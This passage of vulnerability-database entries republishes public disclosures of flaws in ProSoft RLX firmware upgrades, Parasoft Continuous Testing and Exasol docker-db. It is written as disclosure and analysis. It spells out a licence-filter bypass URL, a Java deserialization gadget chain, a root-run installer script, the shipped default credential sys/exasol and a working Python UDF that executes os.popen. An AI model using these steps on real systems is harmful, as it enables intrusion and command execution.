0x2b1c:\n\n    cgiFormFileName(\"file1\")     -\u003e the client\u0027s original filename\n    cgiFormTempFileName          -\u003e path of the temporary body file\n    sprintf(buf, \"%s /upgrade/upgrade/%s\", tempfile, origfilename)\n    SubProgram_Start(\"/bin/mv\", buf)              ; must succeed first\n    SubProgram_Start(\"/sbin/upgrade\", origfilename)\n\nThe original client filename is used unmodified twice: once to build the\ndestination of the move, and once as the installer\u0027s only argument. That\nmakes the file extension, and therefore the branch the installer takes,\nentirely the requester\u0027s choice. The handler applies no extension\nwhitelist, no digest comparison and no path canonicalisation.\n\nThe installer hop, executed and observed. /sbin/upgrade is a short POSIX\nshell script that runs with the privileges of the CGI that invoked it,\nwhich are root, and dispatches purely on ${FILE##*.}:\n\n    case \"$EXT\" in\n      passwd)  cp /upgrade/upgrade/$FILE /etc/passwd\n               cp /upgrade/upgrade/$FILE /etc/passwd_original ;;\n      factory) cp /upgrade/upgrade/$FILE /etc/db1 ;;\n      pkg)     gunzip -t /upgrade/upgrade/$FILE || exit 1\n               tar -xf /upgrade/upgrade/$FILE -C \u003cstaging\u003e\n               [ \"$DEVICE_PRODUCT_NAME\" = \"$PKG_LOCK_NAME\" ] || refused\n               echo \"Match image.\"\n               ./pre\n               tar -xf extract/upgradepkg.tar -C /\n               ./post\n               echo \"Upgrade Successful\"\n               reboot ;;\n    esac\n\nThe .pkg branch is the code-execution primitive. ./pre runs before anything\nelse is applied, so requester-authored code executes against the pristine\nfilesystem and can read the old state; tar -xf extract/upgradepkg.tar -C /\napplies an inner archive whose entry names are constrained in no way, which\nis an arbitrary rootfs write; ./post runs after the write, so the same\nrequester also sees the new state; and the branch ends in an unconditional\nreboot, which makes the change persistent and destroys the runtime\nevidence. The .passwd branch is a second, independent route to the same\nprivilege ceiling and it needs no execution at all: it copies the upload\nover both the live account database and the backup copy, so the device\u0027s own\nrecovery path restores the modified database rather than the shipped one.\nThe .factory branch is the same primitive aimed at the configuration store.\n\nThe only validation the installer performs before executing package content\nis a string equality, and both of its operands are available to whoever\nsupplies the package. The expected value DEVICE_PRODUCT_NAME is read from\nthe appliance\u0027s own platform identity file /etc/MHX_CONFIG, where this\nfirmware records PRODUCT_NAME=IPx21PROSOFT, a compile-time constant\nrecoverable by reading the shipped firmware once. The asserted value\nPKG_LOCK_NAME is read from a file called lockfile inside the package being\ninstalled. A package whose identity is validated against a value carried\ninside that same package is not a source of assurance about that package.\nThe gunzip -t test beside it is a gzip stream-integrity check and proves\nonly that the file is well-formed. The check that exists was never meant to\nanswer the authenticity question, and strengthening it would change nothing\nwhile the requester supplies both sides; what is missing from the path\nbetween an HTTP request and root execution is any authenticity step at all.\n\nWHAT WAS MEASURED\n\nA crafted .pkg carrying the correct platform string was placed in the\nstaging directory, reproducing by hand the state the handler\u0027s /bin/mv step\nwould have produced, and the unmodified installer was invoked on it. It\nprinted \"Match image.\" and then \"Upgrade Successful\" and exited 0. Four\nindependent effects were observed on the sandbox filesystem: the pre and\npost scripts left markers proving both executed; the inner archive left a\nmarker at the root of the filesystem, proving the unconstrained extraction;\nand a marker file written by the payload at runtime contained\nPRE-RAN-AS-UID=0. That last value is the load-bearing line, because the\npayload wrote it during execution rather than having it read from a\nconfiguration file, so it is the executing identity and not an inference\nabout it. The recorded landing identity for this finding is uid=0(root).\n\nA .passwd run was performed the same way. Both /etc/passwd and\n/etc/passwd_original were replaced by the uploaded text: the digest\nrecorded for the pre-seeded database before the run no longer matched\nafterwards, and the marker line was present in both copies. The marker line\ngrants a uid-0 account with /bin/sh, which on this product is the\ndifference between the factory admin shell /bin/txtUI and a general root\nshell available at the next interactive login.\n\nA negative control establishes that none of that came from the harness. A\nstructurally identical package, same outer tar layout, same metadata files,\nsame inner archive, same marker-writing scripts, with exactly one deliberate\ndifference, LOCK_NAME=WRONGPRODUCT, was refused with \"This unit doesn\u0027t\nsupport the image.\" and produced no markers anywhere. Three conclusions\nfollow: the markers are produced by the install path; the observed success\nwas conditional on that one string comparison, so the check is bypassable by\nsupplying the documented string rather than being irrelevant; and the\npositive and negative runs are mutually exclusive, so the positive result\ncannot be explained by a sandbox in which everything appears to succeed.\n\nThe run count is stated exactly because it is small. One positive .pkg run,\none positive .passwd run and one negative control run, in one sandbox on one\nhost, with each effect observed once. The runs were not repeated across\nmultiple sandbox builds and were never performed on hardware.\n\nFour substitutions were made in the harness and none in the code under test.\nThe firmware is ARM big-endian and the sandbox host is not, so an x86\nbusybox build supplied /bin/sh, tar, gunzip, mv and cp; a stub replaced the\nplatform mhx utility; /etc/MHX_CONFIG was populated with the product\nidentity the firmware itself ships; and /etc/passwd was pre-seeded with\nthree factory-style entries so that a before and after comparison was\npossible. Two lines appearing in the transcript, \"logger: not found\" and\n\"mhx: not found\", are absent helpers in the sandbox PATH and are not product\nbehaviour; they are reproduced rather than suppressed, because concealing a\nnegative-looking line would misrepresent the run.\n\nWHAT WAS NOT MEASURED\n\nNo physical appliance was used. No HTTP request was issued to the product\nand the uploader hop was never executed; the staging file was placed by\nhand. The web server was not executed and could not have been, because\n/bin/boa lives in the device base flash and is not contained in the system\nupgrade package, and it is boa that decides whether a client is allowed to\nfork a CGI at all. Its access control could therefore be neither proved nor\ndisproved from the artefacts available. The CGI binaries and the firmware\u0027s\nown ARM helper utilities were not executed for the architecture reason. The\nreboot closing the .pkg branch did not happen, since the sandbox is a\ndirectory tree with no init; the path leading to it was observed up to that\npoint. No privilege escalation is claimed, the chain starting from the\nadministrative identity the product\u0027s own account database already grants\nuid 0. There is no claimed reach into the radio baseband image\nRLX-IFH24E_v5089.mhx, which was identified but not exercised, and no\ndemonstrated impact on any attached control system, PLC or historian.\n\nAUTHENTICATION\n\nThe finding is published as requiring administrative privilege. The package\ndocuments its own account model:\n\n    admin:   \u003cDES-crypt hash\u003e:0:0:admin:/:/bin/txtUI\n    upgrade: \u003csame DES-crypt hash\u003e:500:500:ftpupgrade:/upgrade/upgrade:/bin/sh\n\nThe admin account is uid 0, so the management stack is not\nprivilege-separated and an administrative login already holds the privilege\nthe sink needs. Its shell is /bin/txtUI, a restricted interactive interface\nrather than a general shell, which is a user-interface constraint and not a\nsecurity boundary once arbitrary code execution is available. A second\naccount exists with uid 500, a working /bin/sh, the same password hash, and\na home directory that is precisely the upload staging path. The interface\nalso carries a password-change page and a configurable RADIUS mode. The\nfactory credential itself is not reproduced here; the published advisory\ndeliberately withholds that hash.\n\nWhat the package establishes about th"
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      "title": "[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)",
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GCVE-1988-2026-0497

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT, the closed-source commercial continuous-testing, service-virtualisation and environment-management product from Parasoft, a United States software-testing vendor headquartered in Monrovia, California. The affected component is the em web application inside the vendor's own container image, running on Tomcat 10.1.57 with Jasper and Java 17. Three first-party defects compose into an unauthenticated command-execution chain that needs two HTTP requests and nothing else: an unfiltered ObjectInputStream over an uploaded backup archive, a licensing filter that decides whether to run at all by testing the raw un-normalised request URI, and a remember-me authentication service that hands an anonymous request an authenticated administrator principal when no external security provider has been configured. Type and root cause. Unfiltered deserialization of attacker-controlled data, CWE-502 primary, composed with an interpretation conflict in the licensing filter, CWE-436 primary and co-equal with CWE-863 as its authorisation consequence, and enabled by a fail-open authentication branch, CWE-287. The honest count is three first-party defects rather than one, and that matters to whoever fixes it, because the defect owners, the fixes and the independent value to an attacker all differ. The licensing defect. EMLicenseFilter is 175 lines and behaves as an authorisation boundary, being what stops an unlicensed instance from serving its administrative API. Its decision procedure reads the request URI raw at line 165 and tests it at line 166 against a chain of exemption clauses including endsWith("about"), endsWith("welcome"), endsWith("forgot"), endsWith("notlicensed"), contains("/resources/") and contains("/images/"), none of which is anchored by a separator or a segment boundary. A branch at lines 167 to 171 additionally reassigns the whole exemption set rather than accumulating into it when the request accepts JSON. The test has exactly one consumer in the class: shouldNotFilter() at line 47 calling isLicenseRequired() at line 48. So a matching URI does not weaken one decision, it suppresses the entire doFilterInternal() body, including the /tdm/api/v guard at line 99 and the unlicensed-instance redirect to /em/license at line 118. Because a servlet container strips semicolon-delimited path parameters from each segment before it performs servlet mapping, the filter and the router disagree about the identity of one request: a target of /em/database/restore;welcome is exempted by the filter and still routed to the restore handler by the container. That disagreement is the textbook shape of CWE-436. Measured read-only on a live instance, with the control that carries the argument: GET /em/database/currentConfig -> 302, Location: /em/license, zero-length body GET /em/database/currentConfig;welcome -> 200, 204 bytes, application/json;charset=utf-8, disclosing the schema version, the HyperSQL type, the database user and the jdbc:hsqldb:file URL of the platform's own database files GET /em/database/currentConfig;about -> the same 200/204, so this is the clause list and not one word GET /em/database/currentConfigwelcome (no semicolon) -> 404, 792 bytes GET /em/tdm/api/v2/servers;welcome -> 200, 160 bytes, a well-formed serversResponse XML document with an empty servers element, so Jersey routed and ran the resource method the same pair over TLS -> 200/204 with the bypass and 302/0 without it, so the HTTPS listener is an equivalent surface and not a redirect shell The no-semicolon control is the load-bearing row: the only variable that changed is the presence of a semicolon path parameter, and the outcome flipped from a licensing redirect to a 200 carrying live database configuration to a caller who had never authenticated. The bypass is not a skeleton key, and that was measured rather than assumed: handlers performing their own licensing check are unaffected, the coverage-agent endpoints reading the license manager directly and continuing to return 403 with a 90-byte unlicensed body across all seventeen of their mappings even with the bypass applied, while a server-resource feature gate kept returning 403 with a 94-byte body. What the bypass unlocks is everything whose enforcement lives only in the filter, which includes the whole /em/database subtree and the entire /em/tdm/api/v version tree. One related first-party defect sits in the same filter and matters for detection: line 113 flushes the response output stream and line 115 then calls setStatus(403), so licence refusals surface as HTTP 200 with a JSON body carrying status 403, which makes them invisible to any status-based monitoring. The deserialization defect. The restore path lands in com.parasoft.ctp.core.database.backup.AbstractDatabaseBackup, a class of 518 lines and 19,851 bytes: :14 import java.io.ObjectInputStream; :111 ObjectInputStream ois = new ObjectInputStream(in); :112 int numTables = ois.readInt(); :117 TableMetadata tableMetadata = (TableMetadata) ois.readObject(); :126 Connection connection = this.provider.getConnection(); where in is the database.ser member of an uploaded zip. Three properties are decisive. The cast is applied to whatever readObject() returned, so it constrains nothing: the gadget executes during the call and the ClassCastException is thrown afterwards. getConnection() sits nine lines lower, so no database needs to exist, to be reachable or to accept the supplied parameters for the payload to have already run, which makes that ordering the cheapest structural fix available and one needing no understanding of gadget chains. And the int read at line 112 is consumed before the object read. The caller is the web-layer controller EMDatabaseController, 1359 lines, whose restore handler at line 707 or 708 takes a StandardMultipartHttpServletRequest and hard-compares zip member names against the literals "version.txt" at line 725 and "database.ser" at line 733, a shape check that says nothing about content. The absence of any filter is not an inference from one search: in the whole shipped product ObjectInputStream appears in 68 files with 149 occurrences in the core tree and in 3 files in the web layer, readObject appears in 81 files, and ObjectInputFilter appears in 0 files, jdk.serialFilter in 0 files and serialFilter in 0 files. Three zeros, across a class name, a system property and its short alias, in an image unpacked and searched as artefacts against a positive control of 81 files containing readObject, is a strong result: the product has no deserialization filtering anywhere in its construction. Two sibling readObject() calls on the same class of untrusted stream sit in the same file at lines 323 and 435, in a row-draining routine and a row-binding routine; they were read from source and not detonated, and they are named so a fix covers the class rather than the call site. The fail-open authentication gate. The application has three Spring Security filter chains and all three register the same remember-me service, EMRememberMeServices, 483 lines, with the security configuration in CTPSecurityWebConfig, 318 lines. Neither hop of the chain is an unprotected route: /database is explicitly matched to authenticated(), and the images allow-list is /images/welcome/star rather than a doubled-asterisk glob over /images, so a page written to images/<leaf>.jsp also needs an authenticated subject at the security layer. Both hops sit behind the authentication boundary. The finding is therefore described accurately as the product handing an anonymous request an authenticated administrative principal: // EMRememberMeServices.java:140-148, abridged if (request.getHeader("Authorization") != null) { return null; // :140-142 defer to credentials } pstsecClient = PSTSecServiceClient.getInstance(); // :146 if (pstsecClient == null) { // :148 the fail-open branch return this.createAuthenticationToken("admin", "admin", EmUserInfo.Role.ADMIN, request); } The token registers new SimpleGrantedAuthority("ROLE_ADMIN") and wraps it in a Spring Security User whose authenticated flag is true, so the resulting principal is a genuinely authenticated administrator rather than the container's anonymous principal, and the authenticated() matcher that CTPSecurityWebConfig line 283 demands for /database is satisfied by it. The condition guarding all of this is the absence of the external security-provider client, which in the untouched vendor image, with no setup step performed, does not exist. Measured with its control in the same run: an anonymous GET of the users/current resource under the /em/api/v3 context returned 200 with the 39-byte body {"id":1,"login":"admin","role":"ADMIN"}, and the identical request carrying Authorization: Bearer garbage returned 401 with an empty body. The control shows the fail-open branch is specific to requests presenting no credential at all, so the behaviour is not "authentication is off" but "an absent credential is more trusted than a wrong one". CSRF is separately not an obstacle, because CsrfSecurityRequestMatcher is a 28-line class whose anchored exemption alternation at line 19 includes /database, with GET, HEAD, TRACE and OPTIONS exempt by method at line 22. The write primitive and the execution sink. Reconstituting the stream's first object, a java.util.HashSet, forces a hashCode() on its single element, a TiedMapEntry wrapping a LazyMap whose transformer factory is a ConstantTransformer holding attacker bytes and whose decorated map is an aspectjweaver SimpleCache$StoreableCachingMap whose folder field is an absolute path: readObject() -> HashSet.readObject -> HashMap.putVal -> key.hashCode() -> commons-collections4 TiedMapEntry.hashCode() -> getValue() -> commons-collections4 LazyMap.get(key) // transform the key -> map.put(key, value) // invokeinterface, virtual dispatch -> aspectjweaver SimpleCache$StoreableCachingMap.put(key, byte[]) -> writeToPath(folder + File.separator + key, bytes) That class was read at the bytecode level to establish four facts, all of which are what make the write arbitrary. The folder field is declared private final String, is not transient, and the class declares no readObject of its own, so it is populated by the inherited HashMap.readObject path through defaultReadObject, which assigns whatever the stream carries, and both writeToPath and the store routine read it with an explicit getfield so the compiler has not inlined it. writeToPath performs getfield folder, builds a StringBuilder, concatenates a separator and the key, and stores the result, which is the entire function: there is no forced extension appended to the key, and the value passes a checkcast to a byte array, so the content is any bytes at all. Validation is absent in every form, with zero occurrences of File.getName(), Path.normalize(), getCanonicalPath(), startsWith(), a regular expression or a length truncation in that write path; keys carrying slashes or relative traversals both work, and because concatenation with an empty folder yields a leading double separator, which POSIX treats as a valid absolute path, an absolute destination is reachable too. And it does not fire on deserialization alone, which is the subtle part: HashMap.readObject reconstitutes entries through putVal, package-private, final and not overridden, so it bypasses the overridden put that contains the write, which is why the TiedMapEntry to LazyMap to Map.put prefix is needed to force a virtual dispatch. The only content constraint found anywhere is that the bytes must not be exactly the four-byte sentinel IDEM. In the publish
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Parasoft Continuous Testing",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Parasoft\nContinuous Testing Platform 10.7.5-SNAPSHOT, the closed-source commercial\ncontinuous-testing, service-virtualisation and environment-management product\nfrom Parasoft, a United States software-testing vendor headquartered in\nMonrovia, California. The affected component is the em web application inside\nthe vendor\u0027s own container image, running on Tomcat 10.1.57 with Jasper and\nJava 17. Three first-party defects compose into an unauthenticated\ncommand-execution chain that needs two HTTP requests and nothing else: an\nunfiltered ObjectInputStream over an uploaded backup archive, a licensing\nfilter that decides whether to run at all by testing the raw un-normalised\nrequest URI, and a remember-me authentication service that hands an anonymous\nrequest an authenticated administrator principal when no external security\nprovider has been configured.\n\nType and root cause. Unfiltered deserialization of attacker-controlled data,\nCWE-502 primary, composed with an interpretation conflict in the licensing\nfilter, CWE-436 primary and co-equal with CWE-863 as its authorisation\nconsequence, and enabled by a fail-open authentication branch, CWE-287. The\nhonest count is three first-party defects rather than one, and that matters to\nwhoever fixes it, because the defect owners, the fixes and the independent\nvalue to an attacker all differ.\n\nThe licensing defect. EMLicenseFilter is 175 lines and behaves as an\nauthorisation boundary, being what stops an unlicensed instance from serving\nits administrative API. Its decision procedure reads the request URI raw at\nline 165 and tests it at line 166 against a chain of exemption clauses\nincluding endsWith(\"about\"), endsWith(\"welcome\"), endsWith(\"forgot\"),\nendsWith(\"notlicensed\"), contains(\"/resources/\") and contains(\"/images/\"),\nnone of which is anchored by a separator or a segment boundary. A branch at\nlines 167 to 171 additionally reassigns the whole exemption set rather than\naccumulating into it when the request accepts JSON. The test has exactly one\nconsumer in the class: shouldNotFilter() at line 47 calling isLicenseRequired()\nat line 48. So a matching URI does not weaken one decision, it suppresses the\nentire doFilterInternal() body, including the /tdm/api/v guard at line 99 and\nthe unlicensed-instance redirect to /em/license at line 118. Because a servlet\ncontainer strips semicolon-delimited path parameters from each segment before\nit performs servlet mapping, the filter and the router disagree about the\nidentity of one request: a target of /em/database/restore;welcome is exempted\nby the filter and still routed to the restore handler by the container. That\ndisagreement is the textbook shape of CWE-436. Measured read-only on a live\ninstance, with the control that carries the argument:\n\n    GET /em/database/currentConfig\n        -\u003e 302, Location: /em/license, zero-length body\n    GET /em/database/currentConfig;welcome\n        -\u003e 200, 204 bytes, application/json;charset=utf-8, disclosing the\n           schema version, the HyperSQL type, the database user and the\n           jdbc:hsqldb:file URL of the platform\u0027s own database files\n    GET /em/database/currentConfig;about\n        -\u003e the same 200/204, so this is the clause list and not one word\n    GET /em/database/currentConfigwelcome     (no semicolon)\n        -\u003e 404, 792 bytes\n    GET /em/tdm/api/v2/servers;welcome\n        -\u003e 200, 160 bytes, a well-formed serversResponse XML document with an\n           empty servers element, so Jersey routed and ran the resource method\n    the same pair over TLS\n        -\u003e 200/204 with the bypass and 302/0 without it, so the HTTPS\n           listener is an equivalent surface and not a redirect shell\n\nThe no-semicolon control is the load-bearing row: the only variable that\nchanged is the presence of a semicolon path parameter, and the outcome flipped\nfrom a licensing redirect to a 200 carrying live database configuration to a\ncaller who had never authenticated. The bypass is not a skeleton key, and that\nwas measured rather than assumed: handlers performing their own licensing\ncheck are unaffected, the coverage-agent endpoints reading the license manager\ndirectly and continuing to return 403 with a 90-byte unlicensed body across all\nseventeen of their mappings even with the bypass applied, while a server-resource\nfeature gate kept returning 403 with a 94-byte body. What the bypass unlocks is\neverything whose enforcement lives only in the filter, which includes the whole\n/em/database subtree and the entire /em/tdm/api/v version tree. One related\nfirst-party defect sits in the same filter and matters for detection: line 113\nflushes the response output stream and line 115 then calls setStatus(403), so\nlicence refusals surface as HTTP 200 with a JSON body carrying status 403,\nwhich makes them invisible to any status-based monitoring.\n\nThe deserialization defect. The restore path lands in\ncom.parasoft.ctp.core.database.backup.AbstractDatabaseBackup, a class of 518\nlines and 19,851 bytes:\n\n    :14   import java.io.ObjectInputStream;\n    :111  ObjectInputStream ois = new ObjectInputStream(in);\n    :112  int numTables = ois.readInt();\n    :117  TableMetadata tableMetadata = (TableMetadata) ois.readObject();\n    :126  Connection connection = this.provider.getConnection();\n\nwhere in is the database.ser member of an uploaded zip. Three properties are\ndecisive. The cast is applied to whatever readObject() returned, so it\nconstrains nothing: the gadget executes during the call and the\nClassCastException is thrown afterwards. getConnection() sits nine lines\nlower, so no database needs to exist, to be reachable or to accept the supplied\nparameters for the payload to have already run, which makes that ordering the\ncheapest structural fix available and one needing no understanding of gadget\nchains. And the int read at line 112 is consumed before the object read. The\ncaller is the web-layer controller EMDatabaseController, 1359 lines, whose\nrestore handler at line 707 or 708 takes a StandardMultipartHttpServletRequest\nand hard-compares zip member names against the literals \"version.txt\" at line\n725 and \"database.ser\" at line 733, a shape check that says nothing about\ncontent. The absence of any filter is not an inference from one search: in the\nwhole shipped product ObjectInputStream appears in 68 files with 149 occurrences\nin the core tree and in 3 files in the web layer, readObject appears in 81\nfiles, and ObjectInputFilter appears in 0 files, jdk.serialFilter in 0 files and\nserialFilter in 0 files. Three zeros, across a class name, a system property and\nits short alias, in an image unpacked and searched as artefacts against a\npositive control of 81 files containing readObject, is a strong result: the\nproduct has no deserialization filtering anywhere in its construction. Two\nsibling readObject() calls on the same class of untrusted stream sit in the same\nfile at lines 323 and 435, in a row-draining routine and a row-binding routine;\nthey were read from source and not detonated, and they are named so a fix covers\nthe class rather than the call site.\n\nThe fail-open authentication gate. The application has three Spring Security\nfilter chains and all three register the same remember-me service,\nEMRememberMeServices, 483 lines, with the security configuration in\nCTPSecurityWebConfig, 318 lines. Neither hop of the chain is an unprotected\nroute: /database is explicitly matched to authenticated(), and the images\nallow-list is /images/welcome/star rather than a doubled-asterisk glob over\n/images, so a page written to images/\u003cleaf\u003e.jsp also needs an authenticated\nsubject at the security layer. Both hops sit behind the authentication\nboundary. The finding is therefore described accurately as the product handing\nan anonymous request an authenticated administrative principal:\n\n    // EMRememberMeServices.java:140-148, abridged\n    if (request.getHeader(\"Authorization\") != null) {\n        return null;                    // :140-142 defer to credentials\n    }\n    pstsecClient = PSTSecServiceClient.getInstance();   // :146\n    if (pstsecClient == null) {          // :148 the fail-open branch\n        return this.createAuthenticationToken(\"admin\", \"admin\",\n                 EmUserInfo.Role.ADMIN, request);\n    }\n\nThe token registers new SimpleGrantedAuthority(\"ROLE_ADMIN\") and wraps it in a\nSpring Security User whose authenticated flag is true, so the resulting\nprincipal is a genuinely authenticated administrator rather than the container\u0027s\nanonymous principal, and the authenticated() matcher that CTPSecurityWebConfig\nline 283 demands for /database is satisfied by it. The condition guarding all of\nthis is the absence of the external security-provider client, which in the\nuntouched vendor image, with no setup step performed, does not exist. Measured\nwith its control in the same run: an anonymous GET of the users/current resource\nunder the /em/api/v3 context returned 200 with the 39-byte body\n{\"id\":1,\"login\":\"admin\",\"role\":\"ADMIN\"}, and the identical request carrying\nAuthorization: Bearer garbage returned 401 with an empty body. The control shows\nthe fail-open branch is specific to requests presenting no credential at all, so\nthe behaviour is not \"authentication is off\" but \"an absent credential is more\ntrusted than a wrong one\". CSRF is separately not an obstacle, because\nCsrfSecurityRequestMatcher is a 28-line class whose anchored exemption alternation\nat line 19 includes /database, with GET, HEAD, TRACE and OPTIONS exempt by method\nat line 22.\n\nThe write primitive and the execution sink. Reconstituting the stream\u0027s first\nobject, a java.util.HashSet, forces a hashCode() on its single element, a\nTiedMapEntry wrapping a LazyMap whose transformer factory is a\nConstantTransformer holding attacker bytes and whose decorated map is an\naspectjweaver SimpleCache$StoreableCachingMap whose folder field is an absolute\npath:\n\n    readObject() -\u003e HashSet.readObject -\u003e HashMap.putVal -\u003e key.hashCode()\n      -\u003e commons-collections4 TiedMapEntry.hashCode() -\u003e getValue()\n      -\u003e commons-collections4 LazyMap.get(key)  // transform the key\n         -\u003e map.put(key, value)  // invokeinterface, virtual dispatch\n      -\u003e aspectjweaver SimpleCache$StoreableCachingMap.put(key, byte[])\n      -\u003e writeToPath(folder + File.separator + key, bytes)\n\nThat class was read at the bytecode level to establish four facts, all of which\nare what make the write arbitrary. The folder field is declared private final\nString, is not transient, and the class declares no readObject of its own, so it\nis populated by the inherited HashMap.readObject path through defaultReadObject,\nwhich assigns whatever the stream carries, and both writeToPath and the store\nroutine read it with an explicit getfield so the compiler has not inlined it.\nwriteToPath performs getfield folder, builds a StringBuilder, concatenates a\nseparator and the key, and stores the result, which is the entire function: there\nis no forced extension appended to the key, and the value passes a checkcast to a\nbyte array, so the content is any bytes at all. Validation is absent in every\nform, with zero occurrences of File.getName(), Path.normalize(),\ngetCanonicalPath(), startsWith(), a regular expression or a length truncation in\nthat write path; keys carrying slashes or relative traversals both work, and\nbecause concatenation with an empty folder yields a leading double separator,\nwhich POSIX treats as a valid absolute path, an absolute destination is reachable\ntoo. And it does not fire on deserialization alone, which is the subtle part:\nHashMap.readObject reconstitutes entries through putVal, package-private, final\nand not overridden, so it bypasses the overridden put that contains the write,\nwhich is why the TiedMapEntry to LazyMap to Map.put prefix is needed to force a\nvirtual dispatch. The only content constraint found anywhere is that the bytes\nmust not be exactly the four-byte sentinel IDEM. In the publish"
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        "discovery": "EXTERNAL"
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      "title": "[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)",
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GCVE-1988-2026-0496

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Exasol Database 7.1.30, the in-memory MPP analytical database from Exasol AG (Germany), examined in its docker-db single-container deployment form. The SQL engine is a proprietary C implementation named EXASolution, the server process is exacts, clients speak a proprietary binary SQL protocol on port 8563 rather than HTTP, TLS terminates on that port with a self-signed certificate carrying no subjectAltName, and the vendor's console client exaplus ships inside the image. Three further services share the container: ConfD, an HTTPS JSON-RPC management daemon on 443; BucketFS, an HTTP file service observed on 2580; and an OpenSSH server on 22. The image as pulled is about 6 GB and is distributed through Docker Hub. One fact about this deployment form belongs at the top rather than at the bottom, because it explains why the research is public now instead of being held for a patch. Exasol's own upstream repository warns that the docker distribution is an open source project that is not officially supported by Exasol; that the base image is an end-of-life CentOS 7 release; that official support for docker-db 7 is no longer available and that users should move to a newer release line; that the repository now only contains documentation while the binaries are distributed through Docker Hub; that issues are disabled; and that the project is mainly intended for automatic testing of Exasol deployments. None of that reduces the mechanism, because the credential is a property of the shipping database and the script engine is a supported core feature of the product rather than a container add-on. It does mean that on the vendor's own statements no fix is planned for this deployment form, so there was no patch to coordinate around and holding the finding would have left operators exposed without warning. Only version 7.1.30 in this deployment form was executed. Other 7.1.x releases, the supported non-container installation and the vendor's newer release line share the mechanism, a constant SYS credential plus an unrestricted script language in the UDF engine, and are plausibly affected; none was tested, that is stated as an explicitly labelled inference, and no version range is claimed. Type and root cause. Two defects, separable but jointly decisive, classified as CWE-1392 use of default credentials (primary) and CWE-94 improper control of generation of code (co-equal), with CWE-798 hard-coded credentials, CWE-78 OS command injection, CWE-1188 insecure default initialization and CWE-250 execution with unnecessary privileges recorded alongside, and CWE-284 and CWE-862 reported separately for the absent source-address restriction on 8563 and the absent authorisation distinction for script creation. Neither separately reported item raises a metric. Leg one on its own is a data breach. Leg two on its own is a documented feature. The pair produces an entry point that required no provisioning decision by anyone, because nobody ever created the account an attacker uses, and that converts SQL-layer administrative access into operating-system command execution with the command output returned in-band through the ordinary result set. The credential is the vendor's own published text, not a leak and not an inference. The upstream docker-db README publishes it under the heading "Connecting to the Database", instructing the reader to authenticate with username sys and password exasol. Two image-internal CI test scripts use the same pair against a freshly initialised database on the same port: basic_test.sh:112 carries $X -c n11:8563 -u sys -P exasol -jdbcparam validateservercertificate=0 and basic_sc_test.sh:98 uses -u sys -P exasol as well. Those two files are not in the current upstream repository, which now carries documentation only, so they are cited as artifacts observed inside the 7.1.30 image at /usr/opt/EXASuite-7/EXAClusterOS-7.1.30/docker/test/ and not as repository contents. Nothing rotates the constant, and that was traced rather than assumed: the running controller process command line carries no -defaultSysPasswordHash argument; the [DB:DB1] stanza of EXAConf carries no DefaultSysPasswdHash key; db_jobs.py:104 sets self.sys_passwd_text = secrets.token_hex(20), which generates an additional random password rather than replacing the built-in one; database.py:57 passes -defaultSysPasswordHash only when EXAConf configures it explicitly; and the container's init-sc path does not configure it. Nothing in the container's start path presents a first-login change-password step, sets a must-change flag on the SYS account or refuses service while the constant remains in place, and the README carries guidance about persistent volumes, hugepages, resource limits and license mounting with no instruction to change the SYS password; that absence is as load-bearing as the presence of the constant. The conclusion, corrected once during the research before being accepted, is that the accepted value is a built-in default of the database engine rather than a hash handed to it by the container initialiser, and both the built-in value and the generated random are accepted, which is why random generation in the provisioning code is not a defence. The contrast the product supplies is what makes this a defect rather than a design choice: Exasol generated per-deployment randoms for two of its three service credentials, the ConfD AuthenticationToken and the BucketFS WritePasswd, and did not do so for the most privileged one, and an attacker must read EXAConf to recover either random while sys / exasol is a constant every installation shares and the documentation prints. The sink, in full: CREATE SCHEMA IF NOT EXISTS poc_schema; OPEN SCHEMA poc_schema; CREATE OR REPLACE PYTHON3 SCALAR SCRIPT poc_udf() RETURNS VARCHAR(2000000) AS import os def run(ctx): out = os.popen("id").read() return 'RCE_OUT:' + out / SELECT poc_udf(); Three properties make this a sink rather than a curiosity. The os module is importable with no declaration, allow-list or capability request. The command string is an ordinary Python literal built from what the caller supplied, so shell metacharacters, pipelines and quoting all work, and the measured round used cat /etc/passwd | head -3 whose pipeline was honoured by the shell os.popen starts. And the return value crosses the trust boundary back to the caller through the ordinary result set, which removes the need for any separate exfiltration channel. Sanitisation over what the body does is absent: no module allow-list or deny-list, no policy forbidding os or subprocess, no capability gate, no per-statement approval, no audit prompt and no privilege beyond SYS itself. What does exist is well-formedness checking rather than a security control: the engine validates the language alias, submitting PYTHON instead of PYTHON3 yields its own diagnostic "no definition found for language: PYTHON", and it enforces SQL syntax and the forward-slash script terminator. Both were satisfied by the payload without evasion. That alias diagnostic is worth more than it looks, because it shows script languages are resolved through a named alias table inside the engine, that the table carries the standard aliases PYTHON3, LUA, JAVA and R, and that EXAConf contains no [ScriptLanguages] stanza customising it, so reachability is not conditional on an operator having installed or enabled a language pack. Execution identity, reported exactly as id returned it and not rounded up: uid=500(exadefusr) gid=500(exausers) groups=500(exausers),0(root). This is a dedicated script-execution account, not the database's own service identity, and it is not uid=0. Root appears only as a supplementary group, no escalation to an effective root identity was attempted, observed or is claimed, and nothing in this research should be described as a root compromise. The vendor's README does 